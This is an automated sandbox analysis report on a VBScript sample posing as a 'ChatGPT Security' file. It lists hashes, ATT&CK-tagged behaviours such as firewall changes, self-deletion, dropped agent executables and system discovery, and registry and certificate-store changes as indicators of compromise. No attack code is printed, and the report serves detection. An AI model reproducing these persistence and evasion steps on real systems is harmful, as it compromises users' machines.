3c1764ef9e474a1657abfe712244107b15d4b90a53a63000f9f4f98cc38821a7

Analysis

max time kernel
299s
max time network
306s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
21/04/2026, 16:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ChatGPT-Security-5.2.3.vbs
Size 3.9MB
Sample260421-tpem4ahs7l
SHA256 3c1764ef9e474a1657abfe712244107b15d4b90a53a63000f9f4f98cc38821a7
MD5 f6cb28478a0e0ce7d35160e0705de12b
SHA1 8e4393f3a0c2803e00d95b7661da9c23ae8e95a7
SHA512 bc14e81ce7eb9db8e2ec0eae2f74d2010a2a83f8fcd0eccc74f5062634e18006192fd6247c15541d506fffe918a59d5b4e33791d4a69b8fb0b61e7fe76907a32
SSDEEP 12288:xhy1VDSbp6fTbKBk24WUfoqazKgSP6iwSw44rc1Tc0evUP8n7HMkGCXUYONRZnpS:YPl1T0H5tjrz
TLSH
T14B162FCD25AA11F0F3F89F6911A2143E28B5B22614A1F649FBD754D62E34BC834B3C9D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation spyware trojan

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	2032	powershell.exe
3	5096	msiexec.exe
4	5096	msiexec.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2604	netsh.exe
4396	netsh.exe

Deletes itself 1 IoCs

pid	Process
4144	WScript.exe

Executes dropped EXE 13 IoCs

pid	Process
5924	MSI4552.tmp
5084	level.exe
3968	level.exe
3272	osqueryi.exe
1216	osqueryi.exe
4996	osqueryi.exe
404	osqueryi.exe
3340	osqueryi.exe
740	osqueryi.exe
5072	osqueryi.exe
1724	osqueryi.exe
3692	osqueryi.exe
4728	osqueryi.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	osqueryi.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2268	powershell.exe
1664	powershell.exe
4136	powershell.exe
5444	powershell.exe
2908	powershell.exe
4000	powershell.exe
2032	powershell.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe

Password Policy Discovery 1 TTPs
Attempt to access detailed information about the password policy used within an enterprise network.
discovery

Password Policy Discovery
T1201

Drops file in System32 directory 14 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DABA17F5E36CBE65640DD2FE24F104E7	level.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\070E0202839D9D67350CD2613E78E416	level.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\070E0202839D9D67350CD2613E78E416	level.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	MSI4552.tmp
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	MSI4552.tmp
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DABA17F5E36CBE65640DD2FE24F104E7	level.exe

Drops file in Program Files directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Level\level.exe	MSI4552.tmp
File created	C:\Program Files\Level\crash-logs\level-crash-logs2774064525	level.exe
File opened for modification	C:\Program Files\Level\crash-logs	level.exe
File created	C:\Program Files\Level\osqueryi.exe.download	level.exe
File opened for modification	C:\Program Files\Level\level.db	level.exe
File opened for modification	C:\Program Files\Level\level.db-journal	level.exe
File opened for modification	C:\Program Files\Level\level.db-wal	level.exe
File opened for modification	C:\Program Files\Level\level.log	MSI4552.tmp
File opened for modification	C:\Program Files\Level	level.exe
File opened for modification	C:\Program Files\Level\level.log	level.exe
File opened for modification	C:\Program Files\Level	level.exe
File created	C:\Program Files\Level\winpty.dll	level.exe
File opened for modification	C:\Program Files\Level\crash-logs	MSI4552.tmp
File created	C:\Program Files\Level\level.update	level.exe
File created	C:\Program Files\Level\crash-logs\level-crash-logs3140500047	level.exe
File created	C:\Program Files\Level\winpty-agent.exe	level.exe
File created	C:\Program Files\Level\.level.exe.new	level.exe
File opened for modification	C:\Program Files\Level\crash-logs	level.exe
File opened for modification	C:\Program Files\Level\level.log	level.exe
File opened for modification	C:\Program Files\Level\level.db-shm	level.exe
File opened for modification	C:\Program Files\Level	MSI4552.tmp

Drops file in Windows directory 12 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DFEDD2F974316B2FC3.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4552.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF534B849AE5D0C3C9.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF7640CA259F57924F.TMP	msiexec.exe
File created	C:\Windows\Installer\e583fa4.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\SourceHash{D1B6AFD4-644B-4CFD-832E-78CF12A19703}	msiexec.exe
File created	C:\Windows\SystemTemp\~DF5B733B70095D7267.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4467.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\e583fa4.msi	msiexec.exe

Launches sc.exe 3 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4724	sc.exe
5520	sc.exe
2328	sc.exe

Embeds OpenSSL 1 IoCs

Embeds OpenSSL, may be used to circumvent TLS interception.

resource	yara_rule
behavioral2/files/0x0003000000000683-153.dat	embeds_openssl

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Checks processor information in registry 2 TTPs 11 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	osqueryi.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data	osqueryi.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	osqueryi.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	osqueryi.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	osqueryi.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	osqueryi.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	osqueryi.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	osqueryi.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\FeatureSet	osqueryi.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	osqueryi.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	osqueryi.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	level.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	MSI4552.tmp
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	MSI4552.tmp
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	level.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	level.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	MSI4552.tmp
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	level.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\System32\ci.dll,-100 = "Isolated User Mode (IUM)"	level.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	MSI4552.tmp
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	MSI4552.tmp
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	level.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	level.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	level.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	level.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\System32\fveui.dll,-844 = "BitLocker Data Recovery Agent"	level.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	level.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	level.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	level.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe

Modifies system certificate store 2 TTPs 11 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 190000000100000010000000fd960962ac6938e0d4b0769aa1a64e26030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a7e00000001000000080000000000e4add325dc017f000000010000000c000000300a06082b060105050703031d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e76200000001000000200000001465fa205397b876faa6f0a9958e5590e40fcc7faa4fb7c2c8677521fb5fb65809000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030153000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000000f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e6502000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794	level.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 040000000100000010000000324a4bbbc863699bbe749ac6dd1d46240f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e6500b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c009000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b060105050703016200000001000000200000001465fa205397b876faa6f0a9958e5590e40fcc7faa4fb7c2c8677521fb5fb658140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e71d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d777f000000010000000c000000300a06082b060105050703037e00000001000000080000000000e4add325dc01030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a190000000100000010000000fd960962ac6938e0d4b0769aa1a64e262000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794	level.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 5c000000010000000400000000080000190000000100000010000000fd960962ac6938e0d4b0769aa1a64e26030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a7e00000001000000080000000000e4add325dc017f000000010000000c000000300a06082b060105050703031d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e76200000001000000200000001465fa205397b876faa6f0a9958e5590e40fcc7faa4fb7c2c8677521fb5fb65809000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030153000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000000f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e650040000000100000010000000324a4bbbc863699bbe749ac6dd1d46242000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794	level.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E	level.exe
